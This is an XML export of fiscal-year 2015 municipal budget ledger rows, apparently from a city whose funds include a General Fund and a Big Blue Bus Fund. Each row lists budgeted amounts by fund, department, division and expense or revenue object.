<row _id="14236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>46830.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46830.0</total></row>
<row _id="14237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2036.0</total></row>
<row _id="14238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4468.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4468.0</total></row>
<row _id="14239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569000.0</object><object_description>CULTURAL/ARTS GRANTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24125.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24125.0</total></row>
<row _id="14241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1959004.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1959004.0</total></row>
<row _id="14244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511690.0</object><object_description>OUTSIDE TEMP AGENCY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4352.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4352.0</total></row>
<row _id="14248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>28598.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28598.0</total></row>
<row _id="14249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5035.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5035.0</total></row>
<row _id="14250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>407050.0</object><object_description>GEN PROM BUS LIC - PICO</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-4300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4300.0</total></row>
<row _id="14251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566970.0</object><object_description>FINGERPRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>62000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62000.0</total></row>
<row _id="14252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>56376.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56376.0</total></row>
<row _id="14254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>603</division_id><division_name>SPECIAL SERVICES</division_name><object xsi:nil="true" /><object_description>CONTRACT SVCS - PARATRANSIT SV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>652029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>652029.0</total></row>
<row _id="14255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT-WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-600000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-600000.0</total></row>
<row _id="14256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>400430.0</object><object_description>LIBRARY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-3200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3200.0</total></row>
<row _id="14257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544011.0</object><object_description>SPEC DEPT SUPPLIES-LIT GRANT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="14259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="14260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1446.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1446.0</total></row>
<row _id="14261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32386.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32386.0</total></row>
<row _id="14262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533640.0</object><object_description>CONF / MTGS / TRAVEL-TW</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7268.0</total></row>
<row _id="14263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533080.0</object><object_description>MARTIN LUTHER KING DAY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401130.0</object><object_description>SPORTS LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>407150.0</object><object_description>SALE OF RECYCLED WATER</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="14267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60248.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60248.0</total></row>
<row _id="14268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>77185.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77185.0</total></row>
<row _id="14269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1527.0</total></row>
<row _id="14270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>178405.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>178405.0</total></row>
<row _id="14271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588060.0</object><object_description>MOTOR VEHICLES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588040.0</object><object_description>COMMUNICATIONS SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="14274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566630.0</object><object_description>STORM DRAIN MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>178150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>178150.0</total></row>
<row _id="14275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577220.0</object><object_description>INTEREST EXPENSE - BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>266550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>266550.0</total></row>
<row _id="14276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22100.0</total></row>
<row _id="14277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569000.0</object><object_description>CULTURAL/ARTS GRANTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>110100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110100.0</total></row>
<row _id="14278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>31687.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31687.0</total></row>
<row _id="14279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-11025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11025.0</total></row>
<row _id="14281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>566709.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>566709.0</total></row>
<row _id="14282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37000.0</total></row>
<row _id="14283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21956.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21956.0</total></row>
